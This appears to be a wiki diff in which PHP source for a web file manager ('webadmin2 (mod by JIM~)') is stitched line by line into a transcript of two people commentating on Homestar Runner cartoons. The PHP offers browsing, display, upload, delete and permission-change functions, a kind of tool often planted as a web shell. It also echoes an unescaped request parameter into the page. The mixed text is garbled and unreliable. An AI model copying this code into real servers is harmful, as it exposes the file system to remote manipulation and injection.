        $words['create'] = 'erstellen'; $words['copy'] = 'kopieren'; $words['copyto'] = 'kopieren nach'; $words['move'] = 'verschieben'; $words['moveto'] = 'verschieben nach'; $words['delete'] = 'l&ouml;schen'; $words['edit'] = 'editieren';
+
-
        $words['read'] = 'lesen'; $words['write'] = 'schreiben'; $words['exec'] = 'ausf&uuml;hren'; $words['change'] = 'wechseln'; $words['upload'] = 'hochladen'; $words['configure'] = 'konfigurieren';
+
-
        $words['yes'] = 'ja'; $words['no'] = 'nein';
+
-
        $words['back'] = 'zur&uuml;ck'; $words['setperms'] = 'Rechte setzen';
+
-
        $words['readingerror'] = 'Fehler beim Lesen von 1';
+
-
        $words['permsset'] = 'Die Rechte von 1 wurden auf 2 gesetzt.'; $words['permsnotset'] = 'Die Rechte von 1 konnten nicht gesetzt werden.';
+
-
        $words['uploaded'] = '1 wurde nach 2 hochgeladen.'; $words['notuploaded'] = '1 konnte nicht nach 2 hochgeladen werden.';
+
-
        $words['moved'] = '1 wurde nach 2 verschoben.'; $words['notmoved'] = '1 konnte nicht nach 2 verschoben werden.';
+
-
        $words['copied'] = '1 wurde nach 2 kopiert.'; $words['notcopied'] = '1 konnte nicht nach 2 kopiert werden.';
+
-
        $words['created'] = '1 wurde erstellt.'; $words['notcreated'] = '1 konnte nicht erstellt werden.';
+
-
        $words['deleted'] = '1 wurde gel&ouml;scht.'; $words['notdeleted'] = '1 konnte nicht gel&ouml;scht werden.'; $words['suredelete'] = '1 wirklich l&ouml;schen?';
+
-
        $words['saved'] = '1 wurde gespeichert.'; $words['notsaved'] = '1 konnte nicht gespeichert werden.';
+
-
        $words['reset'] = 'zur&uuml;cksetzen'; $words['clear'] = 'verwerfen'; $words['save'] = 'speichern';
+
-
        $words['cantbeshown'] = '1 kann nicht angezeigt werden.'; $words['sourceof'] = 'Quelltext von 1';
+
-
        $words['notopened'] = '1 konnte nicht ge&ouml;ffnet werden.';
+
-
        $words['addauth'] = 'Standard-Authentifizierungseinstellungen hinzuf&uuml;gen';
+
-
        $words['username'] = 'Benutzername'; $words['password'] = 'Kennwort'; $words['add'] = 'hinzuf&uuml;gen';
+
-
        $words['treeon'] = 'Baumansicht aktivieren'; $words['treeoff'] = 'Baumansicht deaktivieren';
+
-
        $words['symlink'] = 'Symbolischer Link'; $words['createsymlink'] = 'Link erstellen'; $words['target'] = 'Ziel';
+
-
        $words['reltarget'] = 'Relative Pfadangabe des Ziels';
+
-
        $words['alreadyexists'] = 'Die Datei existiert bereits.';
+
-
        $words['overwrite'] = 'Soll 1 &uuml;berschrieben werden?';
+
-
        $words['samefiles'] = '1 und 2 sind identisch.';
+
-
        break;
+
-
    case 'cz':
+
-
        $words['dir'] = 'Adres&#xE1;&#x0159;'; $words['file'] = 'Soubor';
+
-
        $words['filename'] = 'Jm&#xE9;no souboru'; $words['size'] = 'Velikost'; $words['permission'] = 'Pr&#xE1;va'; $words['functions'] = 'Functions';
+
-
        $words['owner'] = 'Vlastn&#xED;k'; $words['group'] = 'Skupina'; $words['other'] = 'Ostatn&#xED;';
+
-
        $words['create'] = 'vytvo&#x0159;it'; $words['copy'] = 'kop&#xED;rovat'; $words['copyto'] = 'kop&#xED;rovat do'; $words['move'] = 'p&#x0159;esunout'; $words['moveto'] = 'p&#x0159;esunout do'; $words['delete'] = 'odstranit'; $words['edit'] = '&#xFA;pravy';
+
-
        $words['read'] = '&#x010D;ten&#xED;'; $words['write'] = 'z&#xE1;pis'; $words['exec'] = 'spu&#x0161;t&#x011B;n&#xED;'; $words['change'] = 'zm&#x011B;nit'; $words['upload'] = 'nahr&#xE1;t'; $words['configure'] = 'nastaven&#xED;';
+
-
        $words['yes'] = 'ano'; $words['no'] = 'ne';
+
-
        $words['back'] = 'zp&#xE1;tky'; $words['setperms'] = 'nastav pr&#xE1;va';
+
-
        $words['readingerror'] = 'Chyba p&#x0159;i &#x010D;ten&#xED; 1';
+
-
        $words['permsset'] = 'P&#x0159;&#xED;stupov&#xE1; pr&#xE1;va k 1 byla nastavena na 2.'; $words['permsnotset'] = 'P&#x0159;&#xED;stupov&#xE1; pr&#xE1;va k 1 nelze  nastavit na 2.';
+
-
        $words['uploaded'] = 'Soubor 1 byl ulo&#x017E;en do adres&#xE1;&#x0159;e 2.'; $words['notuploaded'] = 'Chyba p&#x0159;i ukl&#xE1;d&#xE1;n&#xED; souboru 1 do adres&#xE1;&#x0159;e 2.';
+
-
        $words['moved'] = 'Soubor 1 byl p&#x0159;esunut do adres&#xE1;&#x0159;e 2.'; $words['notmoved'] = 'Soubor 1 nelze p&#x0159;esunout do adres&#xE1;&#x0159;e 2.';
+
-
        $words['copied'] = 'Soubor 1 byl zkop&#xED;rov&#xE1;n do adres&#xE1;&#x0159;e 2.'; $words['notcopied'] = 'Soubor 1 nelze zkop&#xED;rovat do adres&#xE1;&#x0159;e 2.';
+
-
        $words['created'] = '1 byl vytvo&#x0159;en.'; $words['notcreated'] = '1 nelze vytvo&#x0159;it.';
+
-
        $words['deleted'] = '1 byl vymaz&#xE1;n.'; $words['notdeleted'] = '1 nelze vymazat.'; $words['suredelete'] = 'Skute&#x010D;n&#x011B; smazat 1?';
+
-
        $words['saved'] = 'Soubor 1 byl ulo&#x017E;en.'; $words['notsaved'] = 'Soubor 1 nelze ulo&#x017E;it.';
+
-
        $words['reset'] = 'zp&#x011B;t'; $words['clear'] = 'vy&#x010D;istit'; $words['save'] = 'ulo&#x017E;';
+
-
        $words['cantbeshown'] = "1 can't be shown."; $words['sourceof'] = 'source of 1';
+
-
        $words['notopened'] = "1 nelze otev&#x0159;&#xED;t";
+
-
        $words['addauth'] = 'p&#x0159;idat z&#xE1;kladn&#xED;-authentifikaci';
+
-
        $words['username'] = 'U&#x017E;ivatelsk&#xE9; jm&#xE9;no'; $words['password'] = 'Heslo'; $words['add'] = 'p&#x0159;idat';
+
-
        $words['treeon'] = 'Zobraz strom adres&#xE1;&#x0159;&#x016F;'; $words['treeoff'] = 'Skryj strom adres&#xE1;&#x0159;&#x016F;';
+
-
        $words['symlink'] = 'Symbolick&#xFD; odkaz'; $words['createsymlink'] = 'vytvo&#x0159;it odkaz'; $words['target'] = 'C&#xED;l';
+
-
        $words['reltarget'] = 'Relativni cesta k c&#xED;li';
+
-
        $words['alreadyexists'] = 'Tento soubor u&#x017E; existuje.';
+
-
        $words['overwrite'] = 'P&#x0159;epsat 1?';
+
-
        $words['samefiles'] = '1 a 2 jsou identick&#xE9;l.';
+
-
        break;
+
-
    case 'it':
+
-
        $words['dir'] = 'Directory'; $words['file'] = 'File';
+
-
        $words['filename'] = 'Nome file'; $words['size'] = 'Dimensioni'; $words['permission'] = 'Permessi'; $words['functions'] = 'Funzioni';
+
-
        $words['owner'] = 'Proprietario'; $words['group'] = 'Gruppo'; $words['other'] = 'Altro';
+
-
        $words['create'] = 'crea'; $words['copy'] = 'copia'; $words['copyto'] = 'copia su'; $words['move'] = 'muovi'; $words['moveto'] = 'muove su'; $words['delete'] = 'delete'; $words['edit'] = 'edit';
+
-
        $words['read'] = 'leggi'; $words['write'] = 'scrivi'; $words['exec'] = 'esegui'; $words['change'] = 'modifica'; $words['upload'] = 'upload'; $words['configure'] = 'configura';
+
-
        $words['yes'] = 'si'; $words['no'] = 'no';
+
-
        $words['back'] = 'back'; $words['setperms'] = 'imposta permessi';
+
-
        $words['readingerror'] = 'Errore durante la lettura di 1';
+
-
        $words['permsset'] = 'I permessi di 1 sono stati impostati a 2.'; $words['permsnotset'] = 'I permessi di 1 non possono essere impostati.';
+
-
        $words['uploaded'] = '1 è stato uploadato su 2.'; $words['notuploaded'] = 'Errore durante l\'upload di 1 su 2.';
+
-
        $words['moved'] = '1 è stato spostato su 2.'; $words['notmoved'] = '1 non può essere spostato su 2.';
+
-
        $words['copied'] = '1 è stato copiato su 2.'; $words['notcopied'] = '1 non può essere copiato su 2.';
+
-
        $words['created'] = '1 è stato creato.'; $words['notcreated'] = 'impossibile creare 1.';
+
-
        $words['deleted'] = '1 è stato eliminato.'; $words['notdeleted'] = 'Impossibile eliminare 1.'; $words['suredelete'] = 'Confermi eliminazione di 1?';
+
-
        $words['saved'] = '1 è stato salvato.'; $words['notsaved'] = 'Impossibile salvare 1.';
+
-
        $words['reset'] = 'reimposta'; $words['clear'] = 'pulisci'; $words['save'] = 'salva';
+
-
        $words['cantbeshown'] = "Impossibile visualizzare 1."; $words['sourceof'] = 'sorgente di 1';
+
-
        $words['notopened'] = "Impossibile aprire 1";
+
-
        $words['addauth'] = 'aggiunge autenticazione di base';
+
-
        $words['username'] = 'Nome Utente'; $words['password'] = 'Password'; $words['add'] = 'add';
+
-
        $words['treeon'] = 'Abilita vista ad albero'; $words['treeoff'] = 'Disabilita vista ad albero';
+
-
        $words['symlink'] = 'Link simbolico'; $words['createsymlink'] = 'crea symlink'; $words['target'] = 'Target';
+
-
        $words['reltarget'] = 'Percorso relativo al target';
+
-
        $words['alreadyexists'] = 'Questo file esiste già.';
+
-
        $words['overwrite'] = 'Sovrascrivi 1?';
+
-
        $words['samefiles'] = '1 e 2 sono identici.';
+
-
        break;
+
-
    case 'en':
+
-
    default:
+
-
        $words['dir'] = 'Directory'; $words['file'] = 'File';
+
-
        $words['filename'] = 'Filename'; $words['size'] = 'Size'; $words['permission'] = 'Permission'; $words['functions'] = 'Functions';
+
-
        $words['owner'] = 'Owner'; $words['group'] = 'Group'; $words['other'] = 'Other';
+
-
        $words['create'] = 'create'; $words['copy'] = 'copy'; $words['copyto'] = 'copy to'; $words['move'] = 'move'; $words['moveto'] = 'move to'; $words['delete'] = 'delete'; $words['edit'] = 'edit';
+
-
        $words['read'] = 'read'; $words['write'] = 'write'; $words['exec'] = 'execute'; $words['change'] = 'change'; $words['upload'] = 'upload'; $words['configure'] = 'configure';
+
-
        $words['yes'] = 'yes'; $words['no'] = 'no';
+
-
        $words['back'] = 'back'; $words['setperms'] = 'set permission';
+
-
        $words['readingerror'] = 'Error during read of 1';
+
-
        $words['permsset'] = 'The permission of 1 were set to 2.'; $words['permsnotset'] = 'The permission of 1 could not be set.';
+
-
        $words['uploaded'] = '1 has been uploaded to 2.'; $words['notuploaded'] = 'Error during upload of 1 to 2.';
+
-
        $words['moved'] = '1 has been moved to 2.'; $words['notmoved'] = '1 could not be moved to 2.';
+
-
        $words['copied'] = '1 has been copied to 2.'; $words['notcopied'] = '1 could not be copied to 2.';
+
-
        $words['created'] = '1 has been created.'; $words['notcreated'] = '1 could not be created.';
+
-
        $words['deleted'] = '1 has been deleted.'; $words['notdeleted'] = '1 could not be deleted.'; $words['suredelete'] = 'Really delete 1?';
+
-
        $words['saved'] = '1 has been saved.'; $words['notsaved'] = '1 could not be saved.';
+
-
        $words['reset'] = 'reset'; $words['clear'] = 'clear'; $words['save'] = 'save';
+
-
        $words['cantbeshown'] = "1 can't be shown."; $words['sourceof'] = 'source of 1';
+
-
        $words['notopened'] = "1 couldn't be opened";
+
-
        $words['addauth'] = 'add basic-authentification';
+
-
        $words['username'] = 'Username'; $words['password'] = 'Password'; $words['add'] = 'add';
+
-
        $words['treeon'] = 'Enable treeview'; $words['treeoff'] = 'Disable treeview';
+
-
        $words['symlink'] = 'Symbolic link'; $words['createsymlink'] = 'create link'; $words['target'] = 'Target';
+
-
        $words['reltarget'] = 'Relative path to target';
+
-
        $words['alreadyexists'] = 'This file already exists.';
+
-
        $words['overwrite'] = 'Overwrite 1?';
+
-
        $words['samefiles'] = '1 and 2 are identical.';
+
-
    }
+
-
    return $words;
+
-
}
+
-
function getimage ($iid) {
+
'''MATT:''' Is there? Consul-tant?
-
    $image = 'GIF89a';
+
-
    switch ($iid) {
+
-
    case  1: $image .= "\23\0\22\0\242\4\0\0\0\0\377\377\377\314\314\314\231\231\231\377\377\377\0\0\0\0\0\0\0\0\0!\371\4\1\350\3\4\0,\0\0\0\0\23\0\22\0\0\3?H\272\334N \312\327@\270\30P%\273\237\213\205\215\244\240q\201\240\256\254:\234P\332\316o(\317l\215\342\255\36\363\71\230\5\270\362\15\211\2cr\300l:\231\60\310g\272\251Z\257\330l5\1\0;\0"; break;
+
-
    case  2: $image .= "\23\0\22\0\221\2\0\0\0\0\314\314\314\377\377\377\0\0\0!\371\4\1\350\3\2\0,\0\0\0\0\23\0\22\0\0\2\64\224\217\251\2\355\233@\230\24@#\251v\357d\15V^H\6\26fr\352\312\230ehI\337;\305\63}6\364\206\356\365\350\63!V\304\323\345\210L*\227\220\2\0;\0"; break;
+
-
    case  3: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\32\214o\200\313\355\255\236\234,\322+-\336K\363\357}[(^d9\235hP\0\0;\0"; break;
+
-
    case  4: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2.\234\217\251\313\355\17\15\230\224:\20\262\16\340j\241u\15\226\201\231\310\140\302\272rC\207\36d\140\272\343\27z\333yUU\4\14\12\207DF\1\0;\0"; break;
+
-
    case  5: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2*\234\217\251\313\355\17\15\230\224:\20\262\16\340n\335\65\330\307y\302y\226]\210\214\37\273\270\33\254\310\340UU\321\316\367\376\317(\0\0;\0"; break;
+
-
    case  6: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\33\214o\200\313\355\255\236\234,\322+-\336K\371\360q\224\46rd\211\235\350\270\76\5\0;\0"; break;
+
-
    case  7: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2\60\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\234\320\201PGr\46\263\11\256\373\15\312*\243\245f\253\270\247?\330O\11\206\204\304a\221R\0\0;\0"; break;
+
-
    case  8: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2/\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\36\7B#\251\5\302\272~\203R\46\247\373\210c\274\330\36\216\140\76\5\14\5\207B\42\245\0\0;\0"; break;
+
-
    case  9: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\30\214o\200\313\355\255\236\234,\322+-\336K\371\360q\342H\226\346\211r\5\0;\0"; break;
+
-
    case 10: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2/\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\234\320\201PGr\46\263\11\256\373\15\312*\243\245f\253\270\247?\330O\11\12\207\304\242\260\0\0;\0"; break;
+
-
    case 11: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2.\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\36\7B#\251\5\302\272~\203R\46\247\373\210c\274\330\36\216\140\76\5\14\12\207\304\140\1\0;\0"; break;
+
-
    case 12: $image .= "\21\0\15\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2-\234\201\211\306\15\1\343j\354\211+\302\3\364D\231t\26\206i\342\207r\324Hf\252\203~o\25\264\227\271\306\322i\273\247\216s(\206\257\2\0;\0"; break;
+
-
    case 13: $image .= "\21\0\15\0\221\3\0\314\0\0\377\377\377\231\231\231\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2-\234\201\211\306\15\1\343j\354\211+\302\3\364D\231t\26\206i\342\207r\324Hf\252\203~o\25\264\227\271\306\322i\273\247\216s(\206\257\2\0;\0"; break;
+
-
    case 14: $image .= "\21\0\15\0\242\4\0\231\231\231\377\377\377\0\0\0\314\0\0\377\377\377\0\0\0\0\0\0\0\0\0!\371\4\1\350\3\4\0,\0\0\0\0\21\0\15\0\0\3\71H\12\334\254\60\202@\353\213p\212-\302\4\330RYM8\15\3\305y\46\205\216,\204\316s\260\305\12M\217 6\5/[\247\47\1\246\140\304\314\210\63l\301,\46\207\224\230\0\0;\0"; break;
+
-
    case 15: $image .= "\21\0\15\0\221\3\0\231\231\231\377\377\377\314\314\314\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2*\234\217\231\300\254\33b\4\317\264\213\235\225\274\13:\0\201@\226\46\11\212\347\372m\354\231\216o\31\317\264k\267a\216\36\331o(\0\0;\0"; break;
+
-
    case 16: $image .= "\21\0\15\0\221\2\0\0\0\0\377\377\0\377\377\377\0\0\0!\371\4\1\350\3\2\0,\0\0\0\0\21\0\15\0\0\2,\224\217\251\2\355\260\14\10\263\322\65\203\336\32\246\7\66_\325P\245x\224\34\207J\344vzi\7wJf\342\62\202\263\21\23\372\11\17\5\0;\0"; break;
+
-
    case  0:
+
-
    default: $image .= "\23\0\22\0\200\1\0\0\0\0\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\20\214\217\251\313\355\17\243\234\264\332\213\263\336\274\327\2\0;\0"; break;
+
-
    }
+
-
    return $image;
+
-
}
+
-
function tree_hassubdirs ($path) {
+
'''MIKE:''' Nah, I think we missed it. The wiki told me. ''{laughs}'' Maybe we corrected it already.
-
    if ($p = @opendir($path)) {
+
-
        while (($filename = readdir($p)) !== FALSE) {
+
-
            if (tree_isrealdir($path . $filename)) return TRUE;
+
-
        }
+
-
    }
+
-
    return FALSE;
+
-
}
+
-
function tree_isrealdir ($path) {
+
'''MATT:''' ''{imitating Homestar's line}'' You got it?
-
    if (basename($path) != '.' && basename($path) != '..' && @is_dir($path) && !@is_link($path)) return TRUE; else return FALSE;
+
-
}
+
-
function treeview () {
+
'''BOTH:''' ''{laugh}''
-
    global $self, $treeroot;
+
-
    if (isset($_GET['plus']))    tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $_GET['plus']);
+
-
    if (isset($_GET['minus']))    $dirchanged = tree_minus($_SESSION['tree'], $_SESSION['hassubdirs'], $_GET['minus']); else $dirchanged = FALSE;
+
-
    for ($d = $_SESSION['dir']; strlen($d = dirname($d)) != 1; tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $d));
+
-
?>
+
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
+
-
<html>
+
-
<head>
+
-
    <title>webadmin2 (mod by JIM~) Treeview</title>
+
-
    <style type="text/css">
+
-
    <!--
+
-
        td { font-family: sans-serif; font-size: 10pt; }
+
-
        a:link, a:visited, a:active { text-decoration: none; color: #000088; }
+
-
        a:hover { text-decoration: underline; color: #000088; }
+
-
    -->
+
-
    </style>
+
-
</head>
+
-
<body bgcolor="#FFFFFF"<?php if ($dirchanged) echo(" onLoad=\"void(parent.webadmin.location.replace('$self?noupdate=TRUE&dir=" . urlencode($_SESSION['dir']) . '&' . SID . '&pmru=' . time() . "'))\""); ?>>
+
-
    <table border="0" cellspacing="0" cellpadding="0">
+
-
<?php
+
-
    tree_showtree($_SESSION['tree'], $_SESSION['hassubdirs'], $treeroot, 0, tree_calculatenumcols($_SESSION['tree'], $treeroot, 0));
+
-
?>
+
-
    </table>
+
-
</body>
+
-
</html>
+
-
<?php
+
-
    return;
+
-
}
+
-
function frameset () {
+
'''MATT:''' That's some good mumbles! I remem{{--}} I record{{--}} I usually try, if the character is doing something like that, like talking with his mouth open, then I try to do the lines with my mouth open, obviously, and there's other times where Strong Bad's like{{--}} Ooh! Later on in this cartoon! When he's got his face up against the TV...
-
    global $self;
+
-
?>
+
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Frameset//EN">
+
-
<html>
+
-
<head>
+
-
    <title>webadmin2 (mod by JIM~) <?php echo($self); ?></title>
+
-
</head>
+
-
<frameset cols="250,*">
+
-
    <frame src="<?php echo("$self?frame=treeview&" . SID . '#' . urlencode($_SESSION['dir'])); ?>" name="treeview">
+
-
    <frame src="<?php echo("$self?" . SID); ?>" name="webadmin">
+
-
</frameset>
+
-
</html>
+
-
<?php
+
-
    return;
+
-
}
+
-
function tree_calculatenumcols ($tree, $path, $col) {
+
'''MIKE:''' Right.
-
    static $numcols = 0;
+
-
    if ($col > $numcols) $numcols = $col;
+
-
    if (isset($tree[$path])) {
+
-
        for ($i = 0; $i < sizeof($tree[$path]); $i++) {
+
-
            $numcols = tree_calculatenumcols($tree, $path . $tree[$path][$i], $col + 1);
+
-
        }
+
-
    }
+
-
    return $numcols;
+
-
}
+
-
function tree_showtree ($tree, $hassubdirs, $path, $col, $numcols) {
+
'''MATT:''' He's duct-taped his head to the TV, where I, like, mashed my face into a book, I think, and then miked it so I'd be like, "woarh, woarh!", trying to make it as authentic as possible. Want to experience what the characters are experiencing.
-
    global $self, $treeroot;
+
-
    static $islast = array(0 => TRUE);
+
-
    echo("    <tr>\n");
+
-
    for ($i = 0; $i < $col; $i++) {
+
-
        if ($islast[$i]) $iid = 0; else $iid = 3;
+
-
        echo("        <td><img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\"></td>\n");
+
-
    }
+
-
    if ($hassubdirs[$path]) {
+
-
        if (!empty($tree[$path])) { $action = 'minus'; $iid = 8; } else { $action = 'plus'; $iid = 7; }
+
-
        if ($col == 0) $iid -= 3; else if ($islast[$col]) $iid += 3;
+
-
        echo("        <td><a href=\"$self?frame=treeview&$action=" . urlencode($path) . '&dir=' . urlencode($_SESSION['dir']) . '&' . SID . '#' . urlencode($path) . '">');
+
-
        echo("<img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\" border=\"0\">");
+
-
        echo("</a></td>\n");
+
-
    } else {
+
-
        if ($islast[$col]) $iid = 9; else $iid = 6;
+
-
        echo("        <td><img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\"></td>\n");
+
-
    }
+
-
    if (@is_readable($path)) {
+
-
        $a1 = "<a name=\"" . urlencode($path) . "\" href=\"$self?dir=" . urlencode($path) . '&' . SID . '" target="webadmin">';
+
-
        $a2 = '</a>';
+
-
    } else {
+
-
        $a1 = $a2 = '';
+
-
    }
+
-
    if ($_SESSION['dir'] == $path) $iid = 2; else $iid = 1;
+
-
    echo("        <td>$a1<img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\" border=\"0\">$a2</td>\n");
+
-
    $cspan = $numcols - $col + 1;
+
-
    if ($cspan > 1) $colspan = " colspan=\"$cspan\""; else $colspan = '';
+
-
    if ($col == $numcols) $width = ' width="100%"'; else $width = '';
+
-
    echo("        <td$width$colspan nowrap>&nbsp;");
+
-
    if ($path == $treeroot) $label = $path; else $label = basename($path);
+
-
    echo($a1 . htmlentities($label) . $a2);
+
-
    echo("</td>\n");
+
-
    echo("    </tr>\n");
+
-
    if (!empty($tree[$path])) {
+
-
        for ($i = 0; $i < sizeof($tree[$path]); $i++) {
+
-
            if (($i + 1) == sizeof($tree[$path])) $islast[$col + 1] = TRUE; else $islast[$col + 1] = FALSE;
+
-
            tree_showtree($tree, $hassubdirs, $path . $tree[$path][$i], $col + 1, $numcols);
+
-
        }
+
-
    }
+
-
    return;
+
-
}
+
-
function tree_plus (&$tree, &$hassubdirs, $p) {
+
'''MIKE:''' We call that, umm... character acting?
-
    if ($path = spath(realpath($p))) {
+
-
        $tree[$path] = tree_getsubdirs($path);
+
-
        for ($i = 0; $i < sizeof($tree[$path]); $i++) {
+
-
            $subdir = $path . $tree[$path][$i];
+
-
            if (empty($hassubdirs[$subdir])) $hassubdirs[$subdir] = tree_hassubdirs($subdir);
+
-
        }
+
-
    }
+
-
    return;
+
-
}
+
-
function tree_minus (&$tree, &$hassubdirs, $p) {
+
'''MATT:''' Method acting?
-
    $dirchanged = FALSE;
+
-
    if ($path = spath(realpath($p))) {
+
-
        if (!empty($tree[$path])) {
+
-
            for ($i = 0; $i < sizeof($tree[$path]); $i++) {
+
-
                $subdir = $path . $tree[$path][$i] . '/';
+
-
                if (isset($hassubdirs[$subdir])) $hassubdirs[$subdir] = NULL;
+
-
            }
+
-
            $tree[$path] = NULL;
+
-
            if (substr($_SESSION['dir'], 0, strlen($path)) == $path) {
+
-
                $_SESSION['dir'] = $path;
+
-
                $dirchanged = TRUE;
+
-
            }
+
-
        }
+
-
    }
+
-
    return $dirchanged;
+
-
}
+
-
function tree_getsubdirs ($path) {
+
'''MIKE:''' Method acting!
-
    $subdirs = array();
+
-
    if ($p = @opendir($path)) {
+
-
        for ($i = 0; ($filename = readdir($p)) !== FALSE;) {
+
-
            if (tree_isrealdir($path . $filename)) $subdirs[$i++] = $filename . '/';
+
-
        }
+
-
    }
+
-
    sort($subdirs);
+
-
    return $subdirs;
+
-
}
+
-
function show ($file) {
+
''{pause}''
-
    global $words;
+
-
    if (@is_readable($file) && @is_file($file)) {
+
-
        header('Content-Disposition: filename=' . basename($file));
+
-
        header('Content-Type: ' . getmimetype($file));
+
-
        if (@readfile($file) !== FALSE) return TRUE;
+
-
    }
+
-
    return FALSE;
+
-
}
+
-
function show_highlight ($file) {
+
'''MATT:''' ''{responding to Strong Bad's "Can't you see grandma's watching her stories?"}'' Uhh, she is.
-
    global $words;
+
-
    if (@is_readable($file) && @is_file($file)) {
+
-
        header('Content-Disposition: filename=' . basename($file));
+
-
        echo("<html>\n<head><title>webadmin2 (mod by JIM~) ");
+
-
        echo(buildphrase(array('&quot;' . htmlentities(basename($file)) . '&quot;'), $words['sourceof']));
+
-
        echo("</title></head>\n<body>\n<table cellpadding=\"4\" border=\"0\">\n<tr>\n<td>\n<code style=\"color: #999999\">\n");
+
-
        $size = sizeof(file($file));
+
-
        for ($i = 1; $i <= $size; $i++) printf("%05d<br>\n", $i);
+
-
        echo("</code>\n</td>\n<td nowrap>\n");
+
-
        $shown = @highlight_file($file);
+
-
        echo("\n");
+
-
        echo("</td>\n</tr>\n</table>\n");
+
-
        echo("</body>\n");
+
-
        echo("</html>");
+
-
        if ($shown) return TRUE;
+
-
    }
+
-
    return FALSE;
+
-
}
+
-
function getmimetype ($file) {
+
''{pause}''
-
    /* $mime = 'application/octet-stream'; */
+
-
    $mime = 'text/plain';
+
-
    $ext = substr($file, strrpos($file, '.') + 1);
+
-
    if (@is_readable('/etc/mime.types')) {
+
-
        $f = fopen('/etc/mime.types', 'r');
+
-
        while (!feof($f)) {
+
-
            $line = fgets($f, 4096);
+
-
            $found = FALSE;
+
-
            $mim = strtok($line," \n\t");
+
-
            $ex = strtok(" \n\t");
+
-
            while ($ex && !$found) {
+
-
                if (strtolower($ex) == strtolower($ext)) {
+
-
                    $found = TRUE;
+
-
                    $mime = $mim;
+
-
                    break;
+
-
                }
+
-
                $ex = strtok(" \n\t");
+
-
            }
+
-
            if ($found) break;
+
-
        }
+
-
        fclose($f);
+
-
    }
+
-
    return $mime;
+
-
}
+
-
function dirlisting ($inaframe = FALSE) {
+
'''MATT:''' Things get serious in this episode of Caleb Rentpayer. Who shot Caleb, Mike?
-
    global $self, $homedir, $words;
+
-
    global $error, $notice;
+
-
    $p = '&' . SID;
+
-
    html_header($_SESSION['dir']);
+
-
?>
+
-
    <form action="<?php echo($self); ?>" method="get">
+
-
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
+
-
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
+
-
    <table border="0" cellspacing="1" cellpadding="4">
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
+
-
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
+
-
    </tr>
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE" colspan="2">
+
-
            <table border="0" cellspacing="0" cellpadding="0">
+
-
            <tr>
+
-
                <td><?php echo("<a href=\"$self?dir=" . urlencode($homedir) . "$p\">" . $words['dir']); ?></a>:&nbsp;</td>
+
-
                <td><input type="text" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>" size="<?php echo(textfieldsize($_SESSION['dir'])); ?>">&nbsp;</td>
+
-
                <td><input type="submit" value="<?php echo($words['change']); ?>"></td>
+
-
            </tr>
+
-
            </table>
+
-
        </td>
+
-
    </tr>
+
-
    </table>
+
-
    </td></tr></table>
+
-
    </form>
+
-
<?php if (@is_writable($_SESSION['dir'])) { ?>
+
-
    <form action="<?php echo($self); ?>" method="post" enctype="multipart/form-data">
+
-
    <input type="hidden" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>">
+
-
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
+
-
<?php if (isset($_REQUEST['frame'])) { ?>
+
-
    <input type="hidden" name="frame" value="<?php echo($_REQUEST['frame']); ?>">
+
-
<?php } ?>
+
-
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
+
-
    <table border="0" cellspacing="1" cellpadding="4">
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE">
+
-
            <table border="0" cellspacing="0" cellpadding="0">
+
-
            <tr>
+
-
                <td><?php echo($words['file']); ?>&nbsp;</td>
+
-
                <td><input type="file" name="upload">&nbsp;</td>
+
-
                <td><input type="submit" value="<?php echo($words['upload']); ?>"></td>
+
-
            </tr>
+
-
            </table>
+
-
        </td>
+
-
    </tr>
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE">
+
-
